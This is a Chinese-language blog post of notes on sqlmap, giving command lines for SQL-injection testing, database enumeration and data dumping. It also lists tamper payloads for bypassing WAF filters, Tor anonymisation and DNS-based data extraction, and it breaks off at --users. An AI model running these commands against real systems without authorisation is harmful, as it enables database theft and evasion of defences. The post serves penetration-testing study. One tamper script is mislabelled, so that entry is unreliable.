工具(一)sqlmap

这个系列是安全相关工具的介绍、参数使用、常用指令等等用法心得体会,有些常用的工具会记得比较细。本章是sqlmap笔记。

Posted by K4ys0n on December 6, 2020

0x00 常用指令

  • SQL注入测试,并且按照默认自动完成用户交互。
sqlmap -u "http://xxx.com/xxx.php?id=1" --batch 
  • 获取当前数据库
sqlmap -u "http://xxx.com/xxx.php?id=1" --batch --current-db
  • 获取所有数据库
sqlmap -u "http://xxx.com/xxx.php?id=1" --batch --dbs
  • 指定数据库类型为MySQL,获取表名
sqlmap -u "http://xxx.com/xxx.php?id=1" --batch --dbms "MySQL" -D [数据库名] --tables
  • 指定库名、表名,获取列名
sqlmap -u "http://xxx.com/xxx.php?id=1" --batch --dbms "MySQL" -D [数据库名] -T [表名] --columns
  • 指定库名、表名、列名,获取数据
sqlmap -u "http://xxx.com/xxx.php?id=1" --batch --dbms "MySQL" -D [数据库名] -T [表名] -C "[列名1],[列名2]" --dump
  • 将HTTP请求内容保存在request.txt文件中,从文件打开,指定使用布尔、时间盲注进行测试
sqlmap -r request.txt --batch --current-db --technique BT
  • 使用最高级别的Payload测试,并且使用一些更具风险(可能影响网站)的Payload,开启线程最大,即10个线程进行测试
sqlmap -u "http://xxx.com/xxx.php?id=1" --batch --current-db --level 5 --risk 3 --threads 10
  • 枚举所有除了系统数据库之外的库名、表名、列名及其类型信息
sqlmap -u "http://xxx.com/xxx.php?id=1" --schema --exclude-sysdbs --batch

0x01 加星号*

当注入点位于URI本身内部时,会出现一些特殊情况,除非手动指向URI路径,否则sqlmap不会对URI路径执行任何自动测试。必须在命令行中添加型号(*)来指定这些注入点。

例如:当使用Apache web服务器的mod_rewrite模块或其他类似的技术时,就特别有用。

sqlmap -u "http://www.target.com/param1/value1*/param2/value2/"

相当于指定value1处为注入点。

任意位置注入:

与URI注入点类似,星号(*)(注意:这里也支持Havij样式%INJECT %)也可以用来指向GET、POST或HTTP头中的任意注入点。注入点可以通过在带有选项 -u 的GET参数值、带有选项-数据的POST参数值、带有选项 -H 的HTTP头值、带有选项-头、用户代理、引用和/或cookie的HTTP头值中指定,或者在带有选项-r的文件中加载的HTTP请求的通用位置指定。

sqlmap -u "http://xxx.com/xxx.php" --cookie="param1=value1*;param2=value2"

0x02 常用tamper脚本

参考:https://www.cnblogs.com/mark0/p/12349551.html

tamper所在路径:sqlmap/tamper/*.py

1. apostrophemask.py

  • 适用数据库:ALL
  • 作用:将引号替换为utf-8,用于过滤单引号
  • 使用脚本前:tamper("1 AND '1'='1")
  • 使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

2. base64encode.py

  • 适用数据库:ALL
  • 作用:替换为base64编码
  • 使用脚本前:tamper("1' AND SLEEP(5)#")
  • 使用脚本后:MScgQU5EIFNMRUVQKDUpIw==

3. multiplespaces.py

  • 适用数据库:ALL
  • 作用:围绕sql关键字添加多个空格
  • 使用脚本前:tamper('1 UNION SELECT foobar')
  • 使用脚本后:1 UNION SELECT foobar

4. space2plus.py

  • 适用数据库:ALL
  • 作用:用加号替换空格
  • 使用脚本前:tamper('SELECT id FROM users')
  • 使用脚本后:SELECT+id+FROM+users

5. nonrecursivereplacement.py

  • 适用数据库:ALL
  • 作用:作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空)
  • 使用脚本前:tamper('1 UNION SELECT 2--')
  • 使用脚本后:1 UNIOUNIONN SELESELECTCT 2--

6. space2randomblank.py

  • 适用数据库:ALL
  • 作用:将空格替换为其他有效字符
  • 使用脚本前:tamper('SELECT id FROM users')
  • 使用脚本后:SELECT%0Did%0DFROM%0Ausers

7. unionalltounion.py

  • 适用数据库:ALL
  • 作用:将union allselect 替换为unionselect
  • 使用脚本前:tamper('-1 UNION ALL SELECT')
  • 使用脚本后:-1 UNION SELECT

8. securesphere.py

  • 适用数据库:ALL
  • 作用:追加特定的字符串
  • 使用脚本前:tamper('1 AND 1=1')
  • 使用脚本后:1 AND 1=1 and '0having'='0having'

9. space2dash.py

  • 适用数据库:ALL
  • 作用:将空格替换为–,并添加一个随机字符串和换行符
  • 使用脚本前:tamper('1 AND 9227=9227')
  • 使用脚本后:1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227

10. space2mssqlblank.py

  • 适用数据库:Microsoft SQL Server 测试通过数据库:Microsoft SQL Server 2000、Microsoft SQL Server 2005
  • 作用:将空格随机替换为其他空格符号(‘%01’, ‘%02’, ‘%03’, ‘%04’, ‘%05’, ‘%06’, ‘%07’, ‘%08’, ‘%09’, ‘%0B’, ‘%0C’, ‘%0D’, ‘%0E’, ‘%0F’, ‘%0A’)
  • 使用脚本前:tamper('SELECT id FROM users')
  • 使用脚本后:SELECT%0Eid%0DFROM%07users

11. between.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

  • 作用:用NOT BETWEEN 0 AND #替换>
  • 使用脚本前:tamper('1 AND A > B--')
  • 使用脚本后:1 AND A NOT BETWEEN 0 AND B--

12. percentage.py

  • 适用数据库:ASP 测试通过数据库:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
  • 作用:在每个字符前添加一个%
  • 使用脚本前:tamper('SELECT FIELD FROM TABLE')
  • 使用脚本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

13. sp_password.py

  • 适用数据库:MSSQL
  • 作用:从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password
  • 使用脚本前:tamper('1 AND 9227=9227-- ')
  • 使用脚本后:1 AND 9227=9227-- sp_password

14. charencode.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

  • 作用:对给定的payload全部字符使用url编码(不处理已经编码的字符)
  • 使用脚本前:tamper('SELECT FIELD FROM%20TABLE')
  • 使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45

15. randomcase.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

  • 作用:随机大小写
  • 使用脚本前:tamper('INSERT')
  • 使用脚本后:INseRt

16. charunicodeencode.py

  • 适用数据库:ASP、ASP.NET 测试通过数据库:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3
  • 作用:适用字符串的unicode编码
  • 使用脚本前:tamper('SELECT FIELD%20FROM TABLE')
  • 使用脚本后:%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045

17. space2comment.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

  • 作用:将空格替换为/**/
  • 使用脚本前:tamper('SELECT id FROM users')
  • 使用脚本后:SELECT/**/id/**/FROM/**/users

18. equaltolike.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5

  • 作用:将=替换为LIKE
  • 使用脚本前:tamper('SELECT * FROM users WHERE id=1')
  • 使用脚本后:SELECT * FROM users WHERE id LIKE 1

19. equaltolike.py

测试通过数据库:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

  • 作用:将>替换为GREATEST,绕过对>的过滤
  • 使用脚本前:tamper('1 AND A > B')
  • 使用脚本后:1 AND GREATEST(A,B+1)=A

20. ifnull2ifisnull.py

  • 适用数据库:MySQL、SQLite (possibly)、SAP MaxDB (possibly) 测试通过数据库:MySQL 5.0 and 5.5
  • 作用:将类似于IFNULL(A, B)替换为IF(ISNULL(A), B, A),绕过对IFNULL的过滤
  • 使用脚本前:tamper('IFNULL(1, 2)')
  • 使用脚本后:IF(ISNULL(1),2,1)

21. modsecurityversioned.py

  • 适用数据库:MySQL 测试通过数据库:MySQL 5.0
  • 作用:过滤空格,使用mysql内联注释的方式进行注入
  • 使用脚本前:tamper('1 AND 2>1--')
  • 使用脚本后:1 /*!30874AND 2>1*/--

22. space2mysqlblank.py

  • 适用数据库:MySQL 测试通过数据库:MySQL 5.1
  • 作用:将空格替换为其他空格符号(‘%09’, ‘%0A’, ‘%0C’, ‘%0D’, ‘%0B’)
  • 使用脚本前:tamper('SELECT id FROM users')
  • 使用脚本后:SELECT%0Bid%0DFROM%0Cusers

23. modsecurityzeroversioned.py

  • 适用数据库:MySQL 测试通过数据库:MySQL 5.0
  • 作用:使用内联注释方式(/!00000/)进行注入
  • 使用脚本前:tamper('1 AND 2>1--')
  • 使用脚本后:1 /*!00000AND 2>1*/--

24. space2mysqldash.py

  • 适用数据库:MySQL、MSSQL
  • 作用:将空格替换为 – ,并追随一个换行符
  • 使用脚本前:tamper('1 AND 9227=9227')
  • 使用脚本后:1--%0AAND--%0A9227=9227

25. bluecoat.py

  • 适用数据库:Blue Coat SGOS 测试通过数据库:MySQL 5.1,、SGOS
  • 作用:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换=
  • 使用脚本前:tamper('SELECT id FROM users where id = 1')
  • 使用脚本后:SELECT%09id FROM users where id LIKE 1

26. versionedkeywords.py

  • 适用数据库:MySQL 测试通过数据库:MySQL 4.0.18, 5.1.56, 5.5.11
  • 作用:注释绕过
  • 使用脚本前:tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')
  • 使用脚本后:1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#

27. halfversionedmorekeywords.py

  • 适用数据库:MySQL < 5.1 测试通过数据库:MySQL 4.0.18/5.0.22
  • 作用:在每个关键字前添加mysql版本注释
  • 使用脚本前:tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
  • 使用脚本后:value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa

28. space2morehash.py

  • 适用数据库:MySQL >= 5.1.13 测试通过数据库:MySQL 5.1.41
  • 作用:将空格替换为#,并添加一个随机字符串和换行符
  • 使用脚本前:tamper('1 AND 9227=9227')
  • 使用脚本后:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227

29. apostrophenullencode.py

  • 适用数据库:ALL
  • 作用:用非法双字节Unicode字符替换单引号
  • 使用脚本前:tamper("1 AND '1'='1")
  • 使用脚本后:1 AND %00%271%00%27=%00%271

30. appendnullbyte.py

  • 适用数据库:ALL
  • 作用:在有效载荷的结束位置加载null字节字符编码
  • 使用脚本前:tamper('1 AND 1=1')
  • 使用脚本后:1 AND 1=1%00

31. chardoubleencode.py

  • 适用数据库:ALL
  • 作用:对给定的payload全部字符使用双重url编码(不处理已经编码的字符)
  • 使用脚本前:tamper('SELECT FIELD FROM%20TABLE')
  • 使用脚本后:%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545

32. unmagicquotes.py

  • 适用数据库:ALL
  • 作用:用一个多字节组合%bf%27和末尾通用注释一起替换空格
  • 使用脚本前:tamper("1' AND 1=1")
  • 使用脚本后:1%bf%27 AND 1=1--

33. randomcomments.py

  • 适用数据库:ALL
  • 作用:用注释符分割sql关键字
  • 使用脚本前:tamper('INSERT')
  • 使用脚本后:I/**/N/**/SERT

0x03 –technique

sqlmap设置具体SQL注入技术

  • –technique T 指明基于时间的盲注(Time-based blind)
  • –technique B 指定基于布尔的盲注(Boolean-based blind)
  • –technique E 指定报错注入(Error-based)
  • –technique U 指定Union查询注入(Union query-based)
  • –technique S 指定堆叠注入(Stacked queries)
  • –technique Q 指定内联查询注入(Inline queries)
  • –technique BT 指定基于时间和布尔(其实就是叠加使用,其他同理)

0x04 –hex

对注入的参数进行十六进制编码。

sqlmap -u "http://xxx.com/xxx.php?id=1" --hex

可以搜索数据库名,在所有数据库中搜索表名,在所有数据库的所有表中搜索列名。

参数“–search”要和下列参数之一配合使用:

  • -C:后跟以逗号分隔的列名,在整个数据库管理系统中搜索
  • -T:后跟以逗号分隔的表名,在整个数据库管理系统中搜索
  • -D:后跟以逗号分隔的库名,在整个数据库管理系统中搜索

在搜索时,Sqlmap会询问用户进行精确搜索还是包含搜索。

默认为包含搜索,即搜索的字符串包含于结果中就认为命中。

精确搜索要求搜索的字符串与结果完全相等。

sqlmap -u "http://xxx.com/xxx.php?id=1" --batch --search -D [库名]

0x06 –version

查看版本信息

sqlmap --version

0x07 -d

直连数据库。

1. 服务型数据库(前提直到数据库用户名和密码)

DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME(MySQL, Oracle, Microsoft SQL Server, PostgreSQL, etc.)

例如:

sqlmap -d "mysql://admin:admin@192.168.21.17:3306/testdb" -f --banner --dbs --users

2. 文件型数据库(前提知道数据库绝对路径)

DBMS://DATABASE_FILEPATH(SQLite, Microsoft Access, Firebird, etc.)

0x08 -l、-x、-m、-r、-c、-g

从不同类型的文件中读取目标进行SQL注入探测

  • -l 从Burpsuite proxy或WebScarab proxy中读取Http请求日志文件

其中日志文件需要在 Burpsuite->project options->Misc->logging,把 Proxy:Requests 勾选上去,并填写保存目录和文件名,然后-l [该文件名]读取请求。

  • -x 从sitemap.xml站点地图文件中读取目标探测
  • -m 从多行文本格式文件读取多个目标,对多个目标进行探测
  • -r 从文本文件中读取http请求作为SQL注入探测的目标

其中 -r 参数常用于检测消息头中的SQL注入,如referer、cookie等。

  • -c 从配置文件 sqlmap.conf中读取目标探测
  • -g 利用Google获取指定Google hack的目标,然后利用交互向导模式进行SQL注入探测。
sqlmap -g "inurl:\".php?id=1\""

0x09 –method

指定请求方法。

sqlmap会自动在探测过程汇总使用适合的HTTP请求方法,但是在某些情况下,需要强制使用具体的HTTP请求方法,如PUT请求。

sqlmap -u "http://xxx.com/xxx.php?id=1" --method=PUT

用 –data 可以隐式地更改为POST

sqlmap -u "http://xxx.com/xxx.php" --data='id=1' --dbs

0x0a -f、–banner、-b

fingerprint指纹,获取指纹信息,三个都是显示目标网站数据库管理系统DBMS的指纹信息(版本)。

sqlmap -u "http://xxx.com/xxx.php?id=1" -f --banner -b

0x0b –data、–param-del

前者指定POST数据,后者指定分隔符。

sqlmap -u "http://xxx.com/xxx.php" --data="id=1&password=123" --param-del="&"

1. 用途

sqlmap用来设置cookie的参数。

  • –cookie 指定cookie
  • –cookie-del 指定分隔符
  • –load-cookie 可以用来提供包含Netscape/wget格式的cookie特殊文件
  • –drop-set-cookie 忽略任何即将到来的Set-Cookie头来避免自动测试Set-Cookie标头

2. 使用场景

  • Web应用程序具有基于cookie验证的过程
  • 想利用cookie值上的sql注入漏洞

3. sqlmap使用cookie过程

  • 登录或浏览页面
  • 打开审计工具或代理截断,复制cookie
  • 在sqlmap中使用–cookie 粘贴cookie

注意:如果需要对Cookie进行注入,需要设置–level 2以上。

0x0d –random-agent、–user-agent

默认情况下,sqlmap使用以下用户代理头执行HTTP请求:sqlmap/1.0-dev-xxxxxx(http://sqlmap.org)

  • –user-agent 通过提供自定义用户代理作为选项的参数
  • –random-agent sqlmap将从./txt/user-agent中随机选择一个用于会话中的所有HTTP请求
sqlmap -u "http://xxx.com/xxx.php?id=1" --user-agent="Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"

一些站点在服务端检测HTTP User-Agent值,如果不是一个合法的值,会中断链接,同时sqlmap会报错:

[hh:mm:20][ERROR] the target URL responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent

另外,针对User-Agent的值探测SQL注入,需要设置–level值为3,在保存好的请求包中,在User-Agent的值最末尾添加*,然后输入以下语句进行测试。

sqlmap -r target.txt --level 3

0x0e –headers、–header、-H

设置额外的HTTP头,每个标头必须用换行符分隔,从配置INI文件中提供它们要容易得多(可以查看示例,sqlmap.conf文件)。

-H等价于–header。

sqlmap -u "http://xxx.com/xxx.php?id=1" --header="Host:www.target.com"
sqlmap -u "http://xxx.com/xxx.php?id=1" --headers="Host:www.target.com\nUser-agent:Firefox 1.0"

0x0f –auth-type、–auth-cred

其中 –auth-type 支持Basic、Digest、NTLM,一般用Basic就行。

–auth-cred 认证语法为:username:password,在访问该系统需要手动认证输入账号密码时用到。

sqlmap -u "http://xxxxx" --auth-type Basic --auth-cred "testuser:testpass"

0x10 –proxy、–proxy-cred、–proxy-file、–ignore-proxy

  • –proxy:用来设置HTTP代理服务器位置
sqlmap -u "http://xxx.com/xxx.php?id=1" --proxy http(s)://ip[:端口]
  • –proxy-cred:用来设置HTTP代理服务器认证信息
sqlmap -u "http://xxx.com/xxx.php?id=1" --proxy-cred username:password
  • –proxy-file:用来设置多条代理在文件中
  • –ignore-proxy:忽略系统范围内的HTTP(s)代理服务器设置来针对本地网络的目标部分运行sqlmap时,使用此方法。

0x11 –tor,–tor-port,–tor-type,–check-tor

连接tor网络进行匿名访问。

要先下载安装tor,然后启动tor服务。

apt-get install tor
service tor start
service tor status     //查看状态

然后选择tor。

sqlmap -u "http://xxx.com/xxx.php?id=1" --tor --tor-type http --check-tor

其中 –tor-type 有四种:HTTP,HTTPS,SOCKS4,SOCKS5。

0x12 –delay

延时访问速度。

sqlmap -u "http://xxx.com/xxx.php?id=1" --delay 0.5	   // 延时0.5秒访问

0x13 –timeout

设置超时,在考虑超时HTTP(S)请求之前,可以指定等待的秒数,有效值是一个浮点数,默认设置为30秒。

sqlmap -u "http://xxx.com/xxx.php?id=1" --timeout 10.5    //等待10.5秒超时

0x14 –retries

设置重试次数,默认3次。

sqlmap -u "http://xxx.com/xxx.php?id=1" --retries 5    //设置重连5次

0x15 –randomize

设置随机化参数,可以指定要在每次请求期间随机更改其值的参数名称。长度和类型根据提供的原始值保持一致。默认随机化。

sqlmap -u "http://xxx.com/xxx.php?id=1" --randomize id

其中id为参数名称。

0x16 –scope

设置日志过滤目标。

与使用选项 -l 使用从提供的日志解析的所有主机不同,可以指定有效的python正则表达式,用于过滤所需的日志。

sqlmap -l burp.log --scope="(www)?\.target\.(com|net|org)"

过滤其他,只选中正则匹配到的链接。

0x17 –skip-urlencode

不进行URL编码。

0x18 –ignore-401

用来忽略未验证错误,如果想测试偶尔返回HTTP错误401(未经授权的)的站点,而你想忽略它并在不提供适当凭证的情况下继续测试,可以使用–ignore-401。

0x19 –auth-file

sqlmap中设置HTTP协议私钥,当web服务器需要适当的客户端证书和用于身份验证的私钥时,应该使用此选项,提供的值应该是一个PEM格式的key_file,其中包含证书和私钥。

sqlmap -u "http://xxx.com/xxx.php?id=1" --auth-file 文件名

0x1a –safe-url、–safe-post、–safe-req、–safe-freq

sqlmap设置安全模式,避免在多次请求失败后销毁会话。

有时,如果执行了一定数量的不成功请求,则在此期间的web应用程序或检查技术会销毁会话。可能发生在sqlmap的检测阶段或利用任何盲SQL注入类型时,原因是SQL有效负载不一定返回输出,因此可能会向应用程序会话管理或检查技术发出信号。

通过这种方式,sqlmap将访问每个预定义数量的请求,而不对某个安全URL执行任何类型的注入。也就是说会跳过安全URL对一般的URL先进行注入,最后再尝试注入安全URL。这样可以防止那些安全URL访问失败导致会话中断。

  • –safe-url:提供一个安全链接,测试中每隔一段时间都会去访问。
  • –safe-post:同上,但是使用POST方式提交。
  • –safe-req:同上,但是从文件中加载目标。
  • –safe-freq:设置每测试多少注入语句后才去访问安全链接。

0x1b –keep-alive

sqlmap可以设置连接为持久连接,即在HTTP报文中设置Connection:Keep-Alive

sqlmap -u "http://xxx.com/xxx.php?id=1" --keep-alive

这样可以减少连接次数,从而提高性能。

0x1c –null-connection

sqlmap中设置空连接,表示不接受HTTP当中的body,常用在盲注过程中。其实就是只检索没有body响应的请求,而不是所有请求,没有body响应的请求如HEAD请求,对端就不会返回body。

sqlmap -u "http://xxx.com/xxx.php?id=1" --null-connection

0x1d –threads

sqlmap中设置同时发送多少个HTTP请求的多线程,默认是1个线程,为了不影响目标站点服务器的性能,sqlmap可以设置最大的线程数为10。

sqlmap -u "http://xxx.com/xxx.php" --threads 10

通过设置多线程也可以提高sqlmap的性能。

0x1e –predict-output

sqlmap中的预测输出,在推理算法中用于检索值字符的顺序统计预测。

注意这个参数与 –thread 参数不兼容。

sqlmap -u "http://xxx.com/xxx.php" --dbs --predict-output

能在一定程度上提高sqlmap探测性能。

0x1f -o

开启所有提高性能的参数。

sqlmap -u "http://xxx.com/xxx.php" -o

0x20 -p、–skip、–param-exclude、–skip-static

  • -p 指定具体探测的参数
  • –skip 忽略探测具体的参数
  • –param-exclude 忽略包含具体内容的参数
  • –skip-static 忽略非动态参数
sqlmap -u "http://xxx.com/xxx.php" -p "id,user-agent"
sqlmap -u "http://xxx.com/xxx.php" --skip "user-agent, referer"
sqlmap -u "http://xxx.com/xxx.php" --param-exclude="token|session"    //不对包含token或session的参数进行探测。

0x21 –dbms

sqlmap DBMS指定,默认情况下会自动识别探测目标web应用程序的后端数据库管理系统(DBMS),以下列出sqlmap完全支持的DBMS种类:

  • MySQL
  • Oracle
  • Microsoft SQL Server
  • IBM DB2
  • SQLite
  • FIrebird
  • Sybase
  • SAP MaxDB
  • HSQLDB
  • Informix
sqlmap -u "http://xxx.com/xxx.php" --dbms [数据库管理系统名称] [版本号]        版本号可有可无
sqlmap -u "http://xxx.com/xxx.php" --dbms mysql 5.0
sqlmap -u "http://xxx.com/xxx.php" --dbms microsoft sql server 05    表示2005版本,08为2008版本

0x22 –os

sqlmap os指定,默认情况下自动识别目标后端操作系统(OS),sqlmap完全支持的OS种类:

  • Linux
  • Windows
sqlmap -u "http://xxx.com/xxx.php" --os windows
sqlmap -u "http://xxx.com/xxx.php" --os Linux

0x23 –no-cast

在检索结果时,sqlmap使用一种机制,在这种机制中,所有条目都被转换为字符串类型,并在NULL值的情况下用空格字符替换,这样做事为了防止出现任何错误状态(例如,将空值与字符串值连接起来),并简化数据检索过程本身。尽管如此,还是有报告的案例(例如MySQL DBMS的旧版本)由于数据检索本身的问题(例如没有返回值)需要关闭这种机制(使用此开关)。

0x24 –no-escape

在sqlmap需要在有效负载中使用(单引号分隔)字符串值(例如,选择’foobar’)时,这些值将自动转义(例如,选择CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114))。这样做的原因有两个:混淆有效负载内容和防止后端服务器上查询转义机制(例如magic_quotes和/或mysql_real_esacape_string)的潜在问题。用户可以使用这个开关关闭它(例如减少有效负载大小)。

0x25 –invalid-bignum

在sqlmap需要使原始参数值无效(例如id=13)时,它使用经典的否定(例如id=-13)。有了这个开关就可以强制使用大整数值来实现相同的目标(例如id=99999999)。

sqlmap -u "http://xxx.com/xxx.php?id=1" --invalid-bignum

0x26 –invalid-logical

在sqlmap需要使原始参数值无效(例如id=13)时,它使用经典的否定(例如id=-13)。有了这个开关就可以强制使用布尔操作来实现相同的目标(例如id=13 and 18=19)。

sqlmap -u "http://xxx.com/xxx.php?id=1" --invalid-logical

0x27 –invalid-string

在sqlmap需要使原始参数值无效(例如id=13)时,它使用经典的否定(例如id=-13)。有了这个开关就可以强制使用随机字符串来实现相同的目标(例如id=akewmc)。因为id要接收一个数值,但字符串会被识别为非数值,所以是False。

sqlmap -u "http://xxx.com/xxx.php?id=1" --invalid-string

0x28 –prefix、–suffix

在某些情况下,只有当用户提供要附加到注入负载的特定后缀时,易受攻击的参数才可被利用。当用户已经知道查询语法并希望通过直接提供注入有效负载前缀和后缀来检测和利用SQL注入时,这些选项就派上用场了。

  • –prefix 设置SQL注入Payload前缀
  • –suffix 设置SQL注入Payload后缀

假设SQL语句如下:

$query = "select * from users where id=('.GET['id'].') limit 0,1";

用sqlmap设置前后缀后注入:

sqlmap -u "http://xxx?id=1" -p id --prefix "')" --suffix " and ('abc'='abc"

注入后的SQL语句如下:

$query = "select * from users where id=('1')<PAYLOAD> and ('abc'='abc') limit 0,1";

0x29 -v

显示调试信息。

有7个级别:

  • -v 0 只显示python错误以及严重的信息。

  • -v 1 同时显示基本信息和警告信息。(默认)

  • -v 2 同时显示debug信息。

  • -v 3 同时显示每次探测的payload。

  • -v 4 同时显示HTTP请求。

  • -v 5 同时显示HTTP响应头。

  • -v 6 同时显示HTTP响应页面。

sqlmap -u "http://xxx.com/xxx.php?id=1" -v3

0x2a –tamper

sqlmap本身不会混淆发送的有效负载,除了单引号之间的字符串被CHAR()类似的表示形式所取代之外。sqlmap通过Tamper脚本来绕过WAF等防御措施,可以在tamper文件夹下找到所有sqlmap自带的tamper脚本。多个脚本之间用逗号隔开。

sqlmap -u "http://xxx.com/xxx.php?id=1" --tamper "between.py,randomcase.py,space2comment.py"

0x2b –dbms-cred

设置DBMS认证方式,可以通过以下命令:

sqlmap -u "http://xxx.com/xxx.php?id=1" --dbms-cred="[username]:[password]"

示例:

sqlmap -u "http://xxx.com/xxx.php?id=1" --dbms-cred="root:123456"

0x2c –level

此选项需要制定要执行的测试等级的参数。

有五个层次,在执行有限数量的测试(请求)时,默认值为1,1~5探测复杂逐步提升。

sqlmap使用的有效负载在sqlmap/data/xml/payloads/路径下的xml中指定。按照文件顶部的说明,如果sqlmap错过了注入,你也应该能够添加自己的有效负载来进行测试。

这个选项不仅会影响到哪个有效负载sqlmap尝试,还会影响到在探测中取哪个注入点。

  • –level 1 GET和POST参数测试。
  • –level 2 HTTP Cookie头值从第2级测试。
  • –level 3 HTTP用户代理/引用头值/User-agent/Refer等从第3级测试。
  • –level 4

  • –level 5 全测试。

总之,检测SQL注入越困难,必须设置的级别就越高。在显示无法注入时,可以设置 –level 5。

sqlmap -u "http://xxx.com/xxx.php?id=1" --level 5

0x2d –risk

此选项需要指定要执行测试的风险的参数。有三个风险值:

  • –risk 1 这对于大多数SQL注入点来说是无害的。(默认)
  • –risk 2 增加了大量基于查询时间的SQL注入测试的默认级别
  • –risk 3 增加了基于or的SQL注入测试。

在某些情况下,比如UPDATE语句中的SQL注入,注入基于or的有效负载可能导致表的所有条目的更新,这肯定不是攻击者想要的,出于这个原因和其他原因,我们引入了这个选项,用户可以控制测试的有效负载,用户可以任意选择使用也有潜在危险的负载。 测试的语句同样可以在sqlmap/data/xml/payloads/路径下的xml中找到,可以自行添加。

sqlmap -u "http://xxx.com/xxx.php?id=1" --risk 3

0x2e –string、–not-string、–regexp、–code

sqlmap设置页面比较参数,默认情况下,通过比较注入的请求页面内容和未注入的原始页面内容,可以区分真查询和假查询。这种观念并不总是起作用是因为在每次刷新页面内容的变化有时甚至没有注射,例如当页面有一个计数器,一个动态广告横幅或任何其他HTML的一部分呈现动态和可能改变时间不仅因此用户的输入。

为了绕过这个限制,sqlmap努力识别响应体的这些片段并进行相应处理。

  • –string 指定包含字符串,查询为True

  • –not-string 指定包含字符串,查询结果为False

  • –regexp 指定通过正则表达式匹配字符串,查询为True

  • –code 指定匹配HTTP状态响应码,查询为True

0x2f –text-only、–titles

设置内容比较参数。

  • –text-only 设置页面内容中包含文本。
  • –titles 设置页面title中包含文本,前提需要知道如何区分查询的真与假,根据返回字符串内容不同。
sqlmap -u "http://xxx.com/xxx.php?id=1" --text-only="Welcome for True and Forbidden for False" --titles="Login"

0x30 –time-sec

设置时间盲注延迟时间(DBMS延时)。

在测试基于时间的盲SQL注入时,可以设置秒来延迟响应,方法是提供–time-sec选项,后面跟着一个整数。默认情况下是5秒。

sqlmap -u "http://xxx.com/xxx.php?id=1" --time-sec 3

0x31 –union-cols

设置union字段数,默认使用1到10列的union查询SQL注入技术,使用更高的level值可以增加到50列。

–union-cols可以手动设置特定范围列数。

sqlmap -u "http://xxx.com/xxx.php?id=1" --union-cols 12-18

表示探测的列数为12到18列。

0x32 –union-char

设置union字符。默认使用空字符NULL。

level更高时还将使用随机数执行测试,因为在某些情况下,union查询测试使用NULL会失败,而使用随机整数会成功。 –union-char可以手动设置特定字符测试这种类型的注入。

sqlmap -u "http://xxx.com/xxx.php?id=1" --union-char 123

0x33 –union-from

设置union查询表,某些情况下,sqlmap需要设定union查询SQL注入的具体数据表才可以得到数据。 –union-from 表名

sqlmap -u "http://xxx.com/xxx.php?id=1" --technique U --union-from users --current-db -v3

0x34 –dns-domain

设置DNS攻击。针对目标网络很有可能对外部流量进行限制,或者设置WAF。通过设置DNS流量来突破限制:

sqlmap -u "http://xxx.com/xxx.php?id=1" --dns-domain "dns服务器"

需要用户自身具有一个开放53端口的DNS服务器,通过DNS流量来获得Web应用程序中数据内容。

0x35 –second-order

sqlmap设置二次注入的结果页面。

sqlmap -u "http://xxx.com/xxx.php?id=1" --second-order="url"

0x36 –current-user

获取当前用户。

sqlmap -u "http://xxx.com/xxx.php?id=1" --current-user

0x37 –current-db

获取当前数据库

sqlmap -u "http://xxx.com/xxx.php?id=1" --current-db

0x38 –hostname

获取当前主机名

sqlmap -u "http://xxx.com/xxx.php?id=1"  --hostname

0x39 –is-dba

探测当前用户DBA,是否是数据库管理员。

sqlmap -u "http://xxx.com/xxx.php?id=1" --is-dba

0x3a –users

